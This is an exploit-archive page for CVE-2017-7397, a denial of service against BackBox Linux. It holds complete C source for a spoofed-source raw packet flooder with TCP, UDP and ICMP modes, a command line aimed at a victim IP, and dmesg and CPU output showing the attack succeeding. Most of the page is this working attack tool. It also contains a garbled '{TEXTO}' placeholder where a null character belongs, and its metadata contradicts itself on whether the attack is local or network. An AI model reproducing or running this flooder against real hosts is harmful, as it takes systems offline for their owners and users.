BackBox OS Denial Of Service(CPU Consumption)
CVE
Category
Price
Severity
CVE-2017-7397
CWE-400
Not specified
High
Author
Risk
Exploitation Type
Date
Mantvydas Baranauskas
High
Local
2017-04-01
CPE
cpe:cpe:/o:backbox:backbox_linux
CVSS vector description
Metric
Value
Metric Description
Value Description
Attack vector Network AV The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230). Attack Complexity Low AC The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system. Privileges Required None PR The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack. User Interaction None UI The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges Scope Unchanged S An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances. Confidentiality None C There is no impact on the confidentiality of the system; the attacker does not gain the ability to read any data. Integrity None I There is no impact on the integrity of the system; the attacker does not gain the ability to modify any files or information on the target system. Availability High A There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2017040001 BackBox OS Denial Of Service(CPU Consumption) [email protected]
#Description: BackBox Linux 4.6 allows remote attackers to cause a denial of service (ksoftirqd CPU consumption) via a flood of packets with Martian source IP addresses (as defined in RFC 1812 section 5.3.7). This product enables net.ipv4.conf.all.log_martians by default.
###############
Exploit : #sudo ./exploit.out -N -h <victim IP>
//Exploited By Hosein Askari
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <netdb.h>
#include <sys/types.h>
#ifdef F_PASS
#include <sys/stat.h>
#endif
#include <netinet/in_systm.h>
#include <sys/socket.h>
#include <string.h>
#include <time.h>
#ifndef __USE_BSD
# define __USE_BSD
#endif
#ifndef __FAVOR_BSD
# define __FAVOR_BSD
#endif
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <netinet/udp.h>
#include <netinet/ip_icmp.h>
#include <arpa/inet.h>
#ifdef LINUX
# define FIX(x) htons(x)
#else
# define FIX(x) (x)
#endif
#define TCP_ACK 1
#define TCP_FIN 2
#define TCP_SYN 4
#define TCP_RST 8
#define UDP_CFF 16
#define ICMP_ECHO_G 32
#define TCP_NOF 64
#define TCP_URG 128
#define TH_NOF 0x0
#define TCP_ATTACK() (a_flags & TCP_ACK ||\
a_flags & TCP_FIN ||\
a_flags & TCP_SYN ||\
a_flags & TCP_RST ||\
a_flags & TCP_NOF ||\
a_flags & TCP_URG )
#define UDP_ATTACK() (a_flags & UDP_CFF)
#define ICMP_ATTACK() (a_flags & ICMP_ECHO_G)
#define CHOOSE_DST_PORT() dst_sp == 0 ?\
random () :\
htons(dst_sp + (random() % (dst_ep -dst_sp +1)));
#define CHOOSE_SRC_PORT() src_sp == 0 ?\
random () :\
htons(src_sp + (random() % (src_ep -src_sp +1)));
#define SEND_PACKET() if (sendto(rawsock,\
&packet,\
(sizeof packet),\
0,\
(struct sockaddr *)&target,\
sizeof target) < 0) {\
perror("sendto");\
exit(-1);\
}
#define BANNER_CKSUM 54018
u_long lookup(const char *host);
unsigned short in_cksum(unsigned short *addr, int len);
static void inject_iphdr(struct ip *ip, u_char p, u_char len);
char *class2ip(const char *class);
static void send_tcp(u_char th_flags);
static void send_udp(u_char garbage);
static void send_icmp(u_char garbage);
char *get_plain(const char *crypt_file, const char *xor_data_key);
static void usage(const char *argv0);
u_long dstaddr;
u_short dst_sp, dst_ep, src_sp, src_ep;
char *src_class, *dst_class;
int a_flags, rawsock;
struct sockaddr_in target;
const char *banner = "Written By C0NSTANTINE";
struct pseudo_hdr {
u_long saddr, daddr;
u_char mbz, ptcl;
u_short tcpl;
};
struct cksum {
struct pseudo_hdr pseudo;
struct tcphdr tcp;
};
struct {
int gv;
int kv;
void (*f)(u_char);
} a_list[] = {
{ TCP_ACK, TH_ACK, send_tcp },
{ TCP_FIN, TH_FIN, send_tcp },
{ TCP_SYN, TH_SYN, send_tcp },
{ TCP_RST, TH_RST, send_tcp },
{ TCP_NOF, TH_NOF, send_tcp },
{ TCP_URG, TH_URG, send_tcp },
{ UDP_CFF, 0, send_udp },
{ ICMP_ECHO_G, ICMP_ECHO, send_icmp },
{ 0, 0, (void *)NULL },
};
int
main(int argc, char *argv[])
{
int n, i, on = 1;
int b_link;
#ifdef F_PASS
struct stat sb;
#endif
unsigned int until;
a_flags = dstaddr = i = 0;
dst_sp = dst_ep = src_sp = src_ep = 0;
until = b_link = -1;
src_class = dst_class = NULL;
while ( (n = getopt(argc, argv, "T:UINs:h:d:p:q:l:t:")) != -1) {
char *p;
switch (n) {
case 'T':
switch (atoi(optarg)) {
case 0: a_flags |= TCP_ACK; break;
case 1: a_flags |= TCP_FIN; break;
case 2: a_flags |= TCP_RST; break;
case 3: a_flags |= TCP_SYN; break;
case 4: a_flags |= TCP_URG; break;
}
break;
case 'U':
a_flags |= UDP_CFF;
break;
case 'I':
a_flags |= ICMP_ECHO_G;
break;
case 'N':
a_flags |= TCP_NOF;
break;
case 's':
src_class = optarg;
break;
case 'h':
dstaddr = lookup(optarg);
break;
case 'd':
dst_class = optarg;
i = 1;
break;
case 'p':
if ( (p = (char *) strchr(optarg, ',')) == NULL)
usage(argv[0]);
dst_sp = atoi(optarg);
dst_ep = atoi(p +1);
break;
case 'q':
if ( (p = (char *) strchr(optarg, ',')) == NULL)
usage(argv[0]);
src_sp = atoi(optarg);
src_ep = atoi(p +1);
break;
case 'l':
b_link = atoi(optarg);
if (b_link <= 0 || b_link > 100)
usage(argv[0]);
break;
case 't':
until = time(0) +atoi(optarg);
break;
default:
usage(argv[0]);
break;
}
}
if ( (!dstaddr && !i) ||
(dstaddr && i) ||
(!TCP_ATTACK() && !UDP_ATTACK() && !ICMP_ATTACK()) ||
(src_sp != 0 && src_sp > src_ep) ||
(dst_sp != 0 && dst_sp > dst_ep))
usage(argv[0]);
srandom(time(NULL) ^ getpid());
if ( (rawsock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
perror("socket");
exit(-1);
}
if (setsockopt(rawsock, IPPROTO_IP, IP_HDRINCL,
(char *)&on, sizeof(on)) < 0) {
perror("setsockopt");
exit(-1);
}
target.sin_family = AF_INET;
for (n = 0; ; ) {
if (b_link != -1 && random() % 100 +1 > b_link) {
if (random() % 200 +1 > 199)
usleep(1);
continue;
}
for (i = 0; a_list[i].f != NULL; ++i) {
if (a_list[i].gv & a_flags)
a_list[i].f(a_list[i].kv);
}
if (n++ == 100) {
if (until != -1 && time(0) >= until) break;
n = 0;
}
}
exit(0);
}
u_long
lookup(const char *host)
{
struct hostent *hp;
if ( (hp = gethostbyname(host)) == NULL) {
perror("gethostbyname");
exit(-1);
}
return *(u_long *)hp->h_addr;
}
#define RANDOM() (int) random() % 255 +1
char *
class2ip(const char *class)
{
static char ip[16];
int i, j;
for (i = 0, j = 0; class[i] != '{TEXTO}'; ++i)
if (class[i] == '.')
++j;
switch (j) {
case 0:
sprintf(ip, "%s.%d.%d.%d", class, RANDOM(), RANDOM(), RANDOM());
break;
case 1:
sprintf(ip, "%s.%d.%d", class, RANDOM(), RANDOM());
break;
case 2:
sprintf(ip, "%s.%d", class, RANDOM());
break;
default: strncpy(ip, class, 16);
break;
}
return ip;
}
unsigned short
in_cksum(unsigned short *addr, int len)
{
int nleft = len;
int sum = 0;
unsigned short *w = addr;
unsigned short answer = 0;
while (nleft > 1) {
sum += *w++;
nleft -= 2;
}
if (nleft == 1) {
*(unsigned char *) (&answer) = *(unsigned char *)w;
sum += answer;
}
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
answer = ~sum;
return answer;
}
static void
inject_iphdr(struct ip *ip, u_char p, u_char len)
{
ip->ip_hl = 5;
ip->ip_v = 4;
ip->ip_p = p;
ip->ip_tos = 0x08; /* 0x08 */
ip->ip_id = random();
ip->ip_len = len;
ip->ip_off = 0;
ip->ip_ttl = 255;
ip->ip_dst.s_addr = dst_class != NULL ?
inet_addr(class2ip(dst_class)) :
dstaddr;
ip->ip_src.s_addr = src_class != NULL ?
inet_addr(class2ip(src_class)) :
random();
target.sin_addr.s_addr = ip->ip_dst.s_addr;
}
static void
send_tcp(u_char th_flags)
{
struct cksum cksum;
struct packet {
struct ip ip;
struct tcphdr tcp;
} packet;
memset(&packet, 0, sizeof packet);
inject_iphdr(&packet.ip, IPPROTO_TCP, FIX(sizeof packet));
packet.ip.ip_sum = in_cksum((void *)&packet.ip, 20);
cksum.pseudo.daddr = dstaddr;
cksum.pseudo.mbz = 0;
cksum.pseudo.ptcl = IPPROTO_TCP;
cksum.pseudo.tcpl = htons(sizeof(struct tcphdr));
cksum.pseudo.saddr = packet.ip.ip_src.s_addr;
packet.tcp.th_flags = random();
packet.tcp.th_win = random();
packet.tcp.th_seq = random();
packet.tcp.th_ack = random();
packet.tcp.th_off = 5;
packet.tcp.th_urp = 0;
packet.tcp.th_sport = CHOOSE_SRC_PORT();
packet.tcp.th_dport = CHOOSE_DST_PORT();
cksum.tcp = packet.tcp;
packet.tcp.th_sum = in_cksum((void *)&cksum, sizeof(cksum));
SEND_PACKET();
}
static void
send_udp(u_char garbage)
{
struct packet {
struct ip ip;
struct udphdr udp;
} packet;
memset(&packet, 0, sizeof packet);
inject_iphdr(&packet.ip, IPPROTO_UDP, FIX(sizeof packet));
packet.ip.ip_sum = in_cksum((void *)&packet.ip, 20);
packet.udp.uh_sport = CHOOSE_SRC_PORT();
packet.udp.uh_dport = CHOOSE_DST_PORT();
packet.udp.uh_ulen = htons(sizeof packet.udp);
packet.udp.uh_sum = 0;
SEND_PACKET();
}
static void
send_icmp(u_char gargabe)
{
struct packet {
struct ip ip;
struct icmp icmp;
} packet;
memset(&packet, 0, sizeof packet);
inject_iphdr(&packet.ip, IPPROTO_ICMP, FIX(sizeof packet));
packet.ip.ip_sum = in_cksum((void *)&packet.ip, 20);
packet.icmp.icmp_type = ICMP_ECHO;
packet.icmp.icmp_code = 0;
packet.icmp.icmp_cksum = htons( ~(ICMP_ECHO << 8));
for(int pp=0;pp<=1000;pp++)
{SEND_PACKET();
pp++;
}
}
static void
usage(const char *argv0)
{
printf("%s \n", banner);
printf(" -U UDP attack \e[1;37m(\e[0m\e[0;31mno options\e[0m\e[1;37m)\e[0m\n");
printf(" -I ICMP attack \e[1;37m(\e[0m\e[0;31mno options\e[0m\e[1;37m)\e[0m\n");
printf(" -N Bogus attack \e[1;37m(\e[0m\e[0;31mno options\e[0m\e[1;37m)\e[0m\n");
printf(" -T TCP attack \e[1;37m[\e[0m0:ACK, 1:FIN, 2:RST, 3:SYN, 4:URG\e[1;37m]\e[0m\n");
printf(" -h destination host/ip \e[1;37m(\e[0m\e[0;31mno default\e[0m\e[1;37m)\e[0m\n");
printf(" -d destination class \e[1;37m(\e[0m\e[0;31mrandom\e[0m\e[1;37m)\e[0m\n");
printf(" -s source class/ip \e[1;37m(\e[m\e[0;31mrandom\e[0m\e[1;37m)\e[0m\n");
printf(" -p destination port range [start,end] \e[1;37m(\e[0m\e[0;31mrandom\e[0m\e[1;37m)\e[0m\n");
printf(" -q source port range [start,end] \e[1;37m(\e[0m\e[0;31mrandom\e[0m\e[1;37m)\e[0m\n");
printf(" -l pps limiter \e[1;37m(\e[0m\e[0;31mno limit\e[0m\e[1;37m)\e[0m\n");
printf(" -t timeout \e[1;37m(\e[0m\e[0;31mno default\e[0m\e[1;37m)\e[0m\n");
printf("\e[1musage\e[0m: %s [-T0 -T1 -T2 -T3 -T4 -U -I -h -p -t]\n", argv0);
exit(-1);
}
###############################
The sample of dmesg output is shown below:
[ 5149.351468] ll header: 00000000: ff ff ff ff ff ff 4c 5e 0c 0e 1c 6b 08 00 ......L^...k..
[ 5165.184445] IPv4: martian source 192.168.3.227 from 227.62.57.42, on dev eth0
[ 5165.184945] ll header: 00000000: 08 00 27 76 e4 c4 00 24 d6 34 5e ee 08 00 ..'v...$.4^...
[ 5165.185283] IPv4: martian source 192.168.3.227 from 127.12.179.90, on dev eth0
[ 5165.185361] ll header: 00000000: 08 00 27 76 e4 c4 00 24 d6 34 5e ee 08 00 ..'v...$.4^...
[ 5165.185695] IPv4: martian source 192.168.3.227 from 227.76.191.35, on dev eth0
[ 5165.185769] ll header: 00000000: 08 00 27 76 e4 c4 00 24 d6 34 5e ee 08 00 ..'v...$.4^...
[ 5165.185917] IPv4: martian source 192.168.3.227 from 238.222.6.71, on dev eth0
[ 5165.185989] ll header: 00000000: 08 00 27 76 e4 c4 00 24 d6 34 5e ee 08 00 ..'v...$.4^...
[ 5165.186085] IPv4: martian source 192.168.3.227 from 127.83.177.97, on dev eth0
[ 5165.186166] ll header: 00000000: 08 00 27 76 e4 c4 00 24 d6 34 5e ee 08 00 ..'v...$.4^...
[ 5165.186218] IPv4: martian source 192.168.3.227 from 0.80.57.89, on dev eth0
[ 5165.186218] ll header: 00000000: 08 00 27 76 e4 c4 00 24 d6 34 5e ee 08 00 ..'v...$.4^...
[ 5165.192631] IPv4: martian source 192.168.3.227 from 226.218.206.101, on dev eth0
[ 5165.192740] ll header: 00000000: 08 00 27 76 e4 c4 00 24 d6 34 5e ee 08 00 ..'v...$.4^...
[ 5165.193548] IPv4: martian source 192.168.3.227 from 225.127.127.37, on dev eth0
[ 5165.193621] ll header: 00000000: 08 00 27 76 e4 c4 00 24 d6 34 5e ee 08 00 ..'v...$.4^...
[ 5165.193776] IPv4: martian source 192.168.3.227 from 231.225.240.79, on dev eth0
[ 5165.193843] ll header: 00000000: 08 00 27 76 e4 c4 00 24 d6 34 5e ee 08 00 ..'v...$.4^...
[ 5165.193961] IPv4: martian source 192.168.3.227 from 225.255.33.91, on dev eth0
[ 5165.194027] ll header: 00000000: 08 00 27 76 e4 c4 00 24 d6 34 5e ee 08 00 ..'v...$.4^...
#################################
The CPU Usage:
PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
3 root 20 0 0 0 0 R 99.8 0.0 0:14.64 ksoftirqd/0
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